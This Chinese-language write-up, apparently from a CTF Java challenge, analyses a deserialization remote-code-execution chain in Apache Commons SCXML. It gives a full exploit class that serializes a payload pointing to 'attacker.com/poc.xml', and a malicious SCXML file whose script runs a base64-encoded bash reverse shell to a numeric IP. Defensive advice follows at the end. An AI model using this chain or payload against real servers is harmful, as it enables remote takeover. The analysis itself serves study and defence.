从一道java题体验 scxml漏洞
字数 1158 2025-08-22 18:37:14
Apache Commons SCXML 反序列化远程代码执行漏洞分析与利用
漏洞概述
本文详细分析Apache Commons SCXML组件中的一个反序列化漏洞,该漏洞允许攻击者通过构造特定的序列化对象,在目标服务器上实现远程代码执行(RCE)。漏洞存在于SCXML组件的InvokerImpl类中,当该对象被反序列化并调用toString()方法时,会触发远程XML文件加载和执行恶意脚本。
漏洞背景
SCXML (State Chart XML) 是一种基于XML的状态机描述语言,Apache Commons SCXML是它的Java实现。该漏洞的核心在于:
- 存在一个可序列化的
InvokerImpl类,其toString()方法会调用invoke()方法 invoke()方法可以加载远程SCXML文件并执行其中的脚本- 当应用程序存在反序列化点且会调用反序列化对象的
toString()方法时,就可能被利用
漏洞分析
关键代码分析
漏洞入口点 (Test.java):
public class Test {
public static void main(String[] args) throws IOException {
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
server.createContext("/", new RequestHandler());
server.start();
}
static class RequestHandler implements HttpHandler {
private String handleScxmlRequest(HttpExchange exchange) {
String param = exchange.getRequestURI().getQuery();
byte[] decodedBytes = Base64.getDecoder().decode(param);
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedBytes))) {
return ois.readObject().toString(); // 反序列化并调用toString()
}
}
}
}
漏洞触发点 (InvokerImpl.java):
public class InvokerImpl implements Serializable {
private final Invoker o;
private final String source;
private final Map params;
public String toString() {
try {
this.o.invoke(this.source, this.params); // 调用invoke方法
return "success invoke";
} catch (InvokerException var2) {
throw new RuntimeException(var2);
}
}
}
恶意功能点 (SimpleSCXMLInvoker.java):
public void invoke(String source, Map<String, Object> params) throws InvokerException {
SCXML scxml = SCXMLReader.read(new URL(source)); // 加载远程XML
Evaluator eval = this.parentSCInstance.getEvaluator();
this.executor = new SCXMLExecutor(eval, new SimpleDispatcher(), new SimpleErrorReporter());
this.executor.setStateMachine(scxml);
this.executor.go(); // 执行XML中定义的脚本
}
漏洞利用链
完整的利用链如下:
- 构造恶意的
InvokerImpl对象 - 设置
source参数为攻击者控制的远程XML URL - 序列化该对象并通过Base64编码
- 将编码后的payload发送到存在漏洞的端点
- 服务器反序列化对象并调用
toString() toString()触发invoke()方法加载远程XML- 远程XML中的恶意脚本被执行
漏洞利用
环境准备
需要以下依赖:
- Apache Commons SCXML 2.0+
- JEXL (用于表达式求值)
利用步骤
- 准备恶意XML文件 (如poc.xml):
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime')
.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjIyLjE5NS8yMzMzIDA+JjEK}|{base64,-d}|{bash,-i}')
</script>
</onentry>
</state>
</scxml>
- 构造利用代码:
import com.n1ght.InvokerImpl;
import org.apache.commons.scxml2.*;
import org.apache.commons.scxml2.env.*;
import org.apache.commons.scxml2.env.jexl.JexlEvaluator;
import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
public class Exploit {
public static void main(String[] args) throws Exception {
// 1. 创建必要的组件
JexlEvaluator jexlEvaluator = new JexlEvaluator();
SCXMLExecutor scxmlExecutor = new SCXMLExecutor(jexlEvaluator,
new SimpleDispatcher(), new SimpleErrorReporter());
// 2. 通过反射创建SCInstance并设置evaluator
Class<?> clazz = Class.forName("org.apache.commons.scxml2.SCInstance");
Constructor<?> constructor = clazz.getDeclaredConstructor(SCXMLExecutor.class);
constructor.setAccessible(true);
SCInstance scInstance = (SCInstance) constructor.newInstance(scxmlExecutor);
setFieldValue(scInstance, "evaluator", jexlEvaluator);
// 3. 创建SimpleSCXMLInvoker并设置parentSCInstance
SimpleSCXMLInvoker simpleSCXMLInvoker = new SimpleSCXMLInvoker();
setFieldValue(simpleSCXMLInvoker, "parentSCInstance", scInstance);
// 4. 构造InvokerImpl对象
String source = "http://attacker.com/poc.xml"; // 恶意XML地址
Map<String, String> params = new HashMap<>();
InvokerImpl invokerImpl = new InvokerImpl(simpleSCXMLInvoker, source, params);
// 5. 序列化并Base64编码
String payload = serializeToBase64(invokerImpl);
System.out.println("Payload: " + payload);
}
// 辅助方法:设置私有字段值
public static void setFieldValue(Object obj, String field, Object value)
throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
// 辅助方法:序列化对象为Base64
public static String serializeToBase64(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
- 发送Payload:
将生成的Base64 payload作为查询参数发送到漏洞端点:
http://vulnerable-server:8000/scxml?<base64-payload>
防御措施
-
输入验证:
- 避免直接反序列化用户提供的输入
- 使用白名单验证反序列化的类
-
安全配置:
- 更新到最新版本的Apache Commons SCXML
- 使用Java安全管理器限制网络访问和脚本执行
-
代码加固:
- 重写
ObjectInputStream的resolveClass()方法进行类过滤 - 使用
SerialKiller等工具进行安全的反序列化
- 重写
-
网络防护:
- 限制服务器出站连接
- 监控异常的网络请求
总结
该漏洞展示了反序列化漏洞的典型利用模式,结合了SCXML组件的远程加载功能实现RCE。防御此类漏洞需要多层次的安全措施,包括输入验证、安全配置和运行时保护。开发者应特别注意任何反序列化用户输入的场景,并实施适当的安全控制。